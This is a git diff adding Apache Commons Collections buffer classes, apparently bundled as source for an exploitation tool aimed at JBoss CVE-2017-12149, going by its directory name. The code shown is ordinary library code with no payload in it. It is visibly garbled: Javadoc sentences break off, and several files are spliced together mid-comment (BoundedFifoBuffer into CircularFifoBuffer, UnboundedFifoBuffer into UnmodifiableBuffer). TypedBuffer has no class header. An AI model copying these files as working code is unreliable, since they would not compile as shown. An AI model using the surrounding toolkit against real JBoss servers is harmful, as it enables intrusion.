+ private static final long serialVersionUID = 1719328905017860541L;
+
+ /**
+ * Factory method to create a blocking buffer.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @return a new blocking Buffer
+ * @throws IllegalArgumentException if buffer is null
+ */
+ public static Buffer decorate(Buffer buffer) {
+ return new BlockingBuffer(buffer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @throws IllegalArgumentException if the buffer is null
+ */
+ protected BlockingBuffer(Buffer buffer) {
+ super(buffer);
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object o) {
+ synchronized (lock) {
+ boolean result = collection.add(o);
+ notifyAll();
+ return result;
+ }
+ }
+
+ public boolean addAll(Collection c) {
+ synchronized (lock) {
+ boolean result = collection.addAll(c);
+ notifyAll();
+ return result;
+ }
+ }
+
+ public Object get() {
+ synchronized (lock) {
+ while (collection.isEmpty()) {
+ try {
+ wait();
+ } catch (InterruptedException e) {
+ throw new BufferUnderflowException();
+ }
+ }
+ return getBuffer().get();
+ }
+ }
+
+ public Object remove() {
+ synchronized (lock) {
+ while (collection.isEmpty()) {
+ try {
+ wait();
+ } catch (InterruptedException e) {
+ throw new BufferUnderflowException();
+ }
+ }
+ return getBuffer().remove();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java"
new file mode 100644
index 0000000..0bec67e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java"
@@ -0,0 +1,362 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.BoundedCollection;
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.BufferOverflowException;
+import org.apache.commons.collections.BufferUnderflowException;
+
+/**
+ * The BoundedFifoBuffer is a very efficient implementation of
+ * Buffer that does not alter the size of the buffer at runtime.
+ *
+ * The removal order of a
+ * The {@link #add(Object)}, {@link #remove()} and {@link #get()} operations
+ * all perform in constant time. All other operations perform in linear
+ * time or worse.
+ *
+ * Note that this implementation is not synchronized. The following can be
+ * used to provide synchronized access to your
+ * This buffer prevents null objects from being added.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.1)
+ * @version $Revision: 1.8 $ $Date: 2004/06/02 23:12:44 $
+ *
+ * @author Avalon
+ * @author Berin Loritsch
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Herve Quiroz
+ */
+public class BoundedFifoBuffer extends AbstractCollection
+ implements Buffer, BoundedCollection, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 5603722811189451017L;
+
+ private transient Object[] elements;
+ private transient int start = 0;
+ private transient int end = 0;
+ private transient boolean full = false;
+ private final int maxElements;
+
+ /**
+ * Constructs a new
+ * The removal order of a
+ * The {@link #add(Object)}, {@link #remove()} and {@link #get()} operations
+ * all perform in constant time. All other operations perform in linear
+ * time or worse.
+ *
+ * Note that this implementation is not synchronized. The following can be
+ * used to provide synchronized access to your
+ * This buffer prevents null objects from being added.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stefano Fornari
+ * @author Stephen Colebourne
+ */
+public class CircularFifoBuffer extends BoundedFifoBuffer {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -8423413834657610406L;
+
+ /**
+ * Constructor that creates a buffer with the default size of 32.
+ */
+ public CircularFifoBuffer() {
+ super(32);
+ }
+
+ /**
+ * Constructor that creates a buffer with the specified size.
+ *
+ * @param size the size of the buffer (cannot be changed)
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public CircularFifoBuffer(int size) {
+ super(size);
+ }
+
+ /**
+ * Constructor that creates a buffer from the specified collection.
+ * The collection size also sets the buffer size
+ *
+ * @param coll the collection to copy into the buffer, may not be null
+ * @throws NullPointerException if the collection is null
+ */
+ public CircularFifoBuffer(Collection coll) {
+ super(coll);
+ }
+
+ /**
+ * If the buffer is full, the least recently added element is discarded so
+ * that a new element can be inserted.
+ *
+ * @param element the element to add
+ * @return true, always
+ */
+ public boolean add(Object element) {
+ if (isFull()) {
+ remove();
+ }
+ return super.add(element);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PredicatedBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PredicatedBuffer.java"
new file mode 100644
index 0000000..c484c02
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PredicatedBuffer.java"
@@ -0,0 +1,96 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.collection.PredicatedCollection;
+
+/**
+ * Decorates another
+ * This buffer exists to provide validation for the decorated buffer.
+ * It is normally created to decorate an empty buffer.
+ * If an object cannot be added to the buffer, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the buffer.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedBuffer extends PredicatedCollection implements Buffer {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2307609000539943581L;
+
+ /**
+ * Factory method to create a predicated (validating) buffer.
+ *
+ * If there are any elements already in the buffer being decorated, they
+ * are validated.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @return a new predicated Buffer
+ * @throws IllegalArgumentException if buffer or predicate is null
+ * @throws IllegalArgumentException if the buffer contains invalid elements
+ */
+ public static Buffer decorate(Buffer buffer, Predicate predicate) {
+ return new PredicatedBuffer(buffer, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are validated.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if buffer or predicate is null
+ * @throws IllegalArgumentException if the buffer contains invalid elements
+ */
+ protected PredicatedBuffer(Buffer buffer, Predicate predicate) {
+ super(buffer, predicate);
+ }
+
+ /**
+ * Gets the buffer being decorated.
+ *
+ * @return the decorated buffer
+ */
+ protected Buffer getBuffer() {
+ return (Buffer) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get() {
+ return getBuffer().get();
+ }
+
+ public Object remove() {
+ return getBuffer().remove();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PriorityBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PriorityBuffer.java"
new file mode 100644
index 0000000..c7de86e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PriorityBuffer.java"
@@ -0,0 +1,537 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.util.AbstractCollection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.BufferUnderflowException;
+
+/**
+ * Binary heap implementation of
+ * The removal order of a binary heap is based on either the natural sort
+ * order of its elements or a specified {@link Comparator}. The
+ * {@link #remove()} method always returns the first element as determined
+ * by the sort order. (The
+ * The {@link #add(Object)} and {@link #remove()} operations perform
+ * in logarithmic time. The {@link #get()} operation performs in constant
+ * time. All other operations perform in linear time or worse.
+ *
+ * Note that this implementation is not synchronized. Use
+ * {@link org.apache.commons.collections.BufferUtils#synchronizedBuffer(Buffer)} or
+ * {@link org.apache.commons.collections.buffer.SynchronizedBuffer#decorate(Buffer)}
+ * to provide synchronized access to a
+ * The element added will be sorted according to the comparator in use.
+ *
+ * @param element the element to be added
+ * @return true always
+ */
+ public boolean add(Object element) {
+ if (isAtCapacity()) {
+ grow();
+ }
+ // percolate element to it's place in tree
+ if (ascendingOrder) {
+ percolateUpMinHeap(element);
+ } else {
+ percolateUpMaxHeap(element);
+ }
+ return true;
+ }
+
+ /**
+ * Gets the next element to be removed without actually removing it (peek).
+ *
+ * @return the next element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object get() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException();
+ } else {
+ return elements[1];
+ }
+ }
+
+ /**
+ * Gets and removes the next element (pop).
+ *
+ * @return the next element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object remove() {
+ final Object result = get();
+ elements[1] = elements[size--];
+
+ // set the unused element to 'null' so that the garbage collector
+ // can free the object if not used anywhere else.(remove reference)
+ elements[size + 1] = null;
+
+ if (size != 0) {
+ // percolate top element to it's place in tree
+ if (ascendingOrder) {
+ percolateDownMinHeap(1);
+ } else {
+ percolateDownMaxHeap(1);
+ }
+ }
+
+ return result;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Tests if the buffer is at capacity.
+ *
+ * @return
+ * Assumes it is a minimum heap.
+ *
+ * @param index the index for the element
+ */
+ protected void percolateDownMinHeap(final int index) {
+ final Object element = elements[index];
+ int hole = index;
+
+ while ((hole * 2) <= size) {
+ int child = hole * 2;
+
+ // if we have a right child and that child can not be percolated
+ // up then move onto other child
+ if (child != size && compare(elements[child + 1], elements[child]) < 0) {
+ child++;
+ }
+
+ // if we found resting place of bubble then terminate search
+ if (compare(elements[child], element) >= 0) {
+ break;
+ }
+
+ elements[hole] = elements[child];
+ hole = child;
+ }
+
+ elements[hole] = element;
+ }
+
+ /**
+ * Percolates element down heap from the position given by the index.
+ *
+ * Assumes it is a maximum heap.
+ *
+ * @param index the index of the element
+ */
+ protected void percolateDownMaxHeap(final int index) {
+ final Object element = elements[index];
+ int hole = index;
+
+ while ((hole * 2) <= size) {
+ int child = hole * 2;
+
+ // if we have a right child and that child can not be percolated
+ // up then move onto other child
+ if (child != size && compare(elements[child + 1], elements[child]) > 0) {
+ child++;
+ }
+
+ // if we found resting place of bubble then terminate search
+ if (compare(elements[child], element) <= 0) {
+ break;
+ }
+
+ elements[hole] = elements[child];
+ hole = child;
+ }
+
+ elements[hole] = element;
+ }
+
+ /**
+ * Percolates element up heap from the position given by the index.
+ *
+ * Assumes it is a minimum heap.
+ *
+ * @param index the index of the element to be percolated up
+ */
+ protected void percolateUpMinHeap(final int index) {
+ int hole = index;
+ Object element = elements[hole];
+ while (hole > 1 && compare(element, elements[hole / 2]) < 0) {
+ // save element that is being pushed down
+ // as the element "bubble" is percolated up
+ final int next = hole / 2;
+ elements[hole] = elements[next];
+ hole = next;
+ }
+ elements[hole] = element;
+ }
+
+ /**
+ * Percolates a new element up heap from the bottom.
+ *
+ * Assumes it is a minimum heap.
+ *
+ * @param element the element
+ */
+ protected void percolateUpMinHeap(final Object element) {
+ elements[++size] = element;
+ percolateUpMinHeap(size);
+ }
+
+ /**
+ * Percolates element up heap from from the position given by the index.
+ *
+ * Assume it is a maximum heap.
+ *
+ * @param index the index of the element to be percolated up
+ */
+ protected void percolateUpMaxHeap(final int index) {
+ int hole = index;
+ Object element = elements[hole];
+
+ while (hole > 1 && compare(element, elements[hole / 2]) > 0) {
+ // save element that is being pushed down
+ // as the element "bubble" is percolated up
+ final int next = hole / 2;
+ elements[hole] = elements[next];
+ hole = next;
+ }
+
+ elements[hole] = element;
+ }
+
+ /**
+ * Percolates a new element up heap from the bottom.
+ *
+ * Assume it is a maximum heap.
+ *
+ * @param element the element
+ */
+ protected void percolateUpMaxHeap(final Object element) {
+ elements[++size] = element;
+ percolateUpMaxHeap(size);
+ }
+
+ /**
+ * Compares two objects using the comparator if specified, or the
+ * natural order otherwise.
+ *
+ * @param a the first object
+ * @param b the second object
+ * @return -ve if a less than b, 0 if they are equal, +ve if a greater than b
+ */
+ protected int compare(Object a, Object b) {
+ if (comparator != null) {
+ return comparator.compare(a, b);
+ } else {
+ return ((Comparable) a).compareTo(b);
+ }
+ }
+
+ /**
+ * Increases the size of the heap to support additional elements
+ */
+ protected void grow() {
+ final Object[] array = new Object[elements.length * 2];
+ System.arraycopy(elements, 0, array, 0, elements.length);
+ elements = array;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns an iterator over this heap's elements.
+ *
+ * @return an iterator over this heap's elements
+ */
+ public Iterator iterator() {
+ return new Iterator() {
+
+ private int index = 1;
+ private int lastReturnedIndex = -1;
+
+ public boolean hasNext() {
+ return index <= size;
+ }
+
+ public Object next() {
+ if (!hasNext()) {
+ throw new NoSuchElementException();
+ }
+ lastReturnedIndex = index;
+ index++;
+ return elements[lastReturnedIndex];
+ }
+
+ public void remove() {
+ if (lastReturnedIndex == -1) {
+ throw new IllegalStateException();
+ }
+ elements[ lastReturnedIndex ] = elements[ size ];
+ elements[ size ] = null;
+ size--;
+ if( size != 0 && lastReturnedIndex <= size) {
+ int compareToParent = 0;
+ if (lastReturnedIndex > 1) {
+ compareToParent = compare(elements[lastReturnedIndex],
+ elements[lastReturnedIndex / 2]);
+ }
+ if (ascendingOrder) {
+ if (lastReturnedIndex > 1 && compareToParent < 0) {
+ percolateUpMinHeap(lastReturnedIndex);
+ } else {
+ percolateDownMinHeap(lastReturnedIndex);
+ }
+ } else { // max heap
+ if (lastReturnedIndex > 1 && compareToParent > 0) {
+ percolateUpMaxHeap(lastReturnedIndex);
+ } else {
+ percolateDownMaxHeap(lastReturnedIndex);
+ }
+ }
+ }
+ index--;
+ lastReturnedIndex = -1;
+ }
+
+ };
+ }
+
+ /**
+ * Returns a string representation of this heap. The returned string
+ * is similar to those produced by standard JDK collections.
+ *
+ * @return a string representation of this heap
+ */
+ public String toString() {
+ final StringBuffer sb = new StringBuffer();
+
+ sb.append("[ ");
+
+ for (int i = 1; i < size + 1; i++) {
+ if (i != 1) {
+ sb.append(", ");
+ }
+ sb.append(elements[i]);
+ }
+
+ sb.append(" ]");
+
+ return sb.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java"
new file mode 100644
index 0000000..3b5a048
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java"
@@ -0,0 +1,94 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.collection.SynchronizedCollection;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated buffer.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedBuffer extends SynchronizedCollection implements Buffer {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -6859936183953626253L;
+
+ /**
+ * Factory method to create a synchronized buffer.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @return a new synchronized Buffer
+ * @throws IllegalArgumentException if buffer is null
+ */
+ public static Buffer decorate(Buffer buffer) {
+ return new SynchronizedBuffer(buffer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @throws IllegalArgumentException if the buffer is null
+ */
+ protected SynchronizedBuffer(Buffer buffer) {
+ super(buffer);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param lock the lock object to use, must not be null
+ * @throws IllegalArgumentException if the buffer is null
+ */
+ protected SynchronizedBuffer(Buffer buffer, Object lock) {
+ super(buffer, lock);
+ }
+
+ /**
+ * Gets the buffer being decorated.
+ *
+ * @return the decorated buffer
+ */
+ protected Buffer getBuffer() {
+ return (Buffer) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get() {
+ synchronized (lock) {
+ return getBuffer().get();
+ }
+ }
+
+ public Object remove() {
+ synchronized (lock) {
+ return getBuffer().remove();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TransformedBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TransformedBuffer.java"
new file mode 100644
index 0000000..394aaed
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TransformedBuffer.java"
@@ -0,0 +1,90 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.collection.TransformedCollection;
+
+/**
+ * Decorates another
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedBuffer extends TransformedCollection implements Buffer {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -7901091318986132033L;
+
+ /**
+ * Factory method to create a transforming buffer.
+ *
+ * If there are any elements already in the buffer being decorated, they
+ * are NOT transformed.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @return a new transformed Buffer
+ * @throws IllegalArgumentException if buffer or transformer is null
+ */
+ public static Buffer decorate(Buffer buffer, Transformer transformer) {
+ return new TransformedBuffer(buffer, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the buffer being decorated, they
+ * are NOT transformed.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if buffer or transformer is null
+ */
+ protected TransformedBuffer(Buffer buffer, Transformer transformer) {
+ super(buffer, transformer);
+ }
+
+ /**
+ * Gets the decorated buffer.
+ *
+ * @return the decorated buffer
+ */
+ protected Buffer getBuffer() {
+ return (Buffer) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get() {
+ return getBuffer().get();
+ }
+
+ public Object remove() {
+ return getBuffer().remove();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TypedBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TypedBuffer.java"
new file mode 100644
index 0000000..9540bf8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TypedBuffer.java"
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the buffer being decorated, they
+ * are validated.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @param type the type to allow into the buffer, must not be null
+ * @return a new typed Buffer
+ * @throws IllegalArgumentException if buffer or type is null
+ * @throws IllegalArgumentException if the buffer contains invalid elements
+ */
+ public static Buffer decorate(Buffer buffer, Class type) {
+ return new PredicatedBuffer(buffer, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedBuffer() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java"
new file mode 100644
index 0000000..a23cf38
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java"
@@ -0,0 +1,326 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.BufferUnderflowException;
+
+/**
+ * UnboundedFifoBuffer is a very efficient buffer implementation.
+ * According to performance testing, it exhibits a constant access time, but it
+ * also outperforms ArrayList when used for the same purpose.
+ *
+ * The removal order of an
+ * The {@link #remove()} and {@link #get()} operations perform in constant time.
+ * The {@link #add(Object)} operation performs in amortized constant time. All
+ * other operations perform in linear time or worse.
+ *
+ * Note that this implementation is not synchronized. The following can be
+ * used to provide synchronized access to your
+ * This buffer prevents null objects from being added.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.1)
+ * @version $Revision: 1.9 $ $Date: 2004/06/01 22:57:18 $
+ *
+ * @author Avalon
+ * @author Federico Barbieri
+ * @author Berin Loritsch
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class UnboundedFifoBuffer extends AbstractCollection implements Buffer, Serializable {
+
+ /** Serialization vesrion */
+ private static final long serialVersionUID = -3482960336579541419L;
+
+ /** The array of objects in the buffer. */
+ protected transient Object[] buffer;
+ /** The current head index. */
+ protected transient int head;
+ /** The current tail index. */
+ protected transient int tail;
+
+ /**
+ * Constructs an UnboundedFifoBuffer with the default number of elements.
+ * It is exactly the same as performing the following:
+ *
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/02 21:57:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableBuffer
+ extends AbstractBufferDecorator
+ implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 1832948656215393357L;
+
+ /**
+ * Factory method to create an unmodifiable buffer.
+ *
+ * If the buffer passed in is already unmodifiable, it is returned.
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @return an unmodifiable Buffer
+ * @throws IllegalArgumentException if buffer is null
+ */
+ public static Buffer decorate(Buffer buffer) {
+ if (buffer instanceof Unmodifiable) {
+ return buffer;
+ }
+ return new UnmodifiableBuffer(buffer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @throws IllegalArgumentException if buffer is null
+ */
+ private UnmodifiableBuffer(Buffer buffer) {
+ super(buffer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the collection out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the collection in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
